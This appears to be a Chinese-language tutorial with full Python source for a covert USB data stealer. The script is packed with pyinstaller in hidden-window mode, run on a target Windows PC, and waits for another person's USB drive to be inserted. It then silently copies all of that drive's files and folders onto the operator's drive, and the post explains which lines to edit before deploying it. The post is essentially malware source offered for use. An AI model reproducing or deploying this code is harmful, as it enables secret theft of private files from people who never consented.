使用方法及注意事項
注意事項:
- 首先用 pyinstaller 對源文件進行打包至您的usb
- pyinstaller -F -w 源文件
- -w 表示運行時不彈出窗口(隱藏)
使用方法:
- 修改源文件的部分參數
- 用 pyinstaller 對源文件進行打包至您的usb
- 在您的usb上創建一個文件夾並將您的usb上所有內容拖進去(新建文件夾名要在源文件中修改,便於判斷)
- 將您的usb提前插入目標電腦(windows有效)
- 在您的usb中啟動pyinstaller 打包的源文件即可
原理:
- 原理非常簡單,掃描硬盤,檢測是否有新的usb插入,如果有,獲取相應的資源
我定義的函數(方法)相應解釋:
-
obtain_usb(): # 獲取雙方usb盤符(拷貝和被拷貝的對象)
-
judge() # 判斷文件和文件夾
- copy_rest_file() # 復制文件
- copy_folder() # 復制文件夾
- establish(): # 為了防止出現異常,在復制文件時先創建一個空目錄和空文件
接下來是源代碼:
需要修改的地方:
- 第7行 類屬性 my_folder 為您的文件夾名字(在雙引號內替換成您的文件夾名即可)
- 第 106行 改變復制模式(可選)
- 第107行 變得友好一些(......)
1 import os 2 import time 3 import shutil 4 import psutil 5 6 class Block_rose(object): 7 my_folder = "打倒PDD" 8 9 #目標usb 盤符 10 usb_DC = "" 11 12 # 將拷貝的文件放入的目錄 13 data_bank = "" 14 15 # 目標文件 16 file = [] 17 18 #目標文件夾 19 folder = [] 20 21 def __init__(self): 22 data_count = len(psutil.disk_partitions()) 23 while True: 24 time.sleep(2) 25 t = len(psutil.disk_partitions()) 26 if t == data_count + 1: 27 break 28 29 def obtain_usb(self): 30 temp1 = list(psutil.disk_partitions()[-1])[0] + "\\" 31 temp2 = list(psutil.disk_partitions()[-2])[0] + "\\" 32 if os.path.exists(temp1 + self.my_folder): 33 self.data_bank = temp1 34 self.usb_DC = temp2 35 else: 36 self.data_bank = temp2 37 self.usb_DC = temp1 38 39 def copy_file(self): 40 self.copy_rest_file() 41 self.copy_folder() 42 43 def judge(self): 44 file_list = os.listdir(self.usb_DC) 45 for iters in file_list: 46 if "." in iters: 47 self.file.append(iters) 48 else: 49 self.folder.append(iters) 50 51 def copy_folder(self): 52 for iters in self.folder: 53 shutil.copytree(self.usb_DC + iters,self.data_bank + iters) 54 55 def copy_rest_file(self): 56 for iters in self.file: 57 shutil.copy(self.usb_DC + iters, self.data_bank + iters) 58 59 def establish(self): 60 try: 61 os.mkdir(self.usb_DC + "text") 62 except: 63 pass 64 f = open(self.usb_DC + "電子應用.txt","w") 65 f.close() 66 67 # 拷貝文件和文件夾 68 def main(self): 69 # 1 獲取雙方usb盤符(拷貝和被拷貝的對象) 70 self.obtain_usb() 71 self.establish() 72 73 # 2 判斷文件和文件夾 74 self.judge() 75 76 # 3 開始拷貝文件和文件夾 77 self.copy_file() 78 79 # 只拷貝文件夾 80 def main_folder(self): 81 # 1 獲取雙方usb盤符(拷貝和被拷貝的對象) 82 self.obtain_usb() 83 self.establish() 84 85 # 2 判斷文件和文件夾 86 self.judge() 87 88 # 3 開始拷貝文件夾 89 self.copy_folder() 90 91 # 只拷貝文件 92 def main_file(self): 93 # 1 獲取雙方usb盤符(拷貝和被拷貝的對象) 94 self.obtain_usb() 95 self.establish() 96 97 # 2 判斷文件和文件夾 98 self.judge() 99 100 # 3 開始拷貝文件 101 self.copy_rest_file() 102 103 104 if __name__ == '__main__': 105 block_rose = Block_rose() 106 cmd = "file and folder" 107 # cmd = input("Do you want to copy files or folders? ") 108 if cmd == "file": 109 block_rose.main_file() 110 elif cmd == "folder": 111 block_rose.main_folder() 112 elif cmd == "file and folder": 113 block_rose.main() 114 else: 115 print("The instruction error you entered is wrong! ")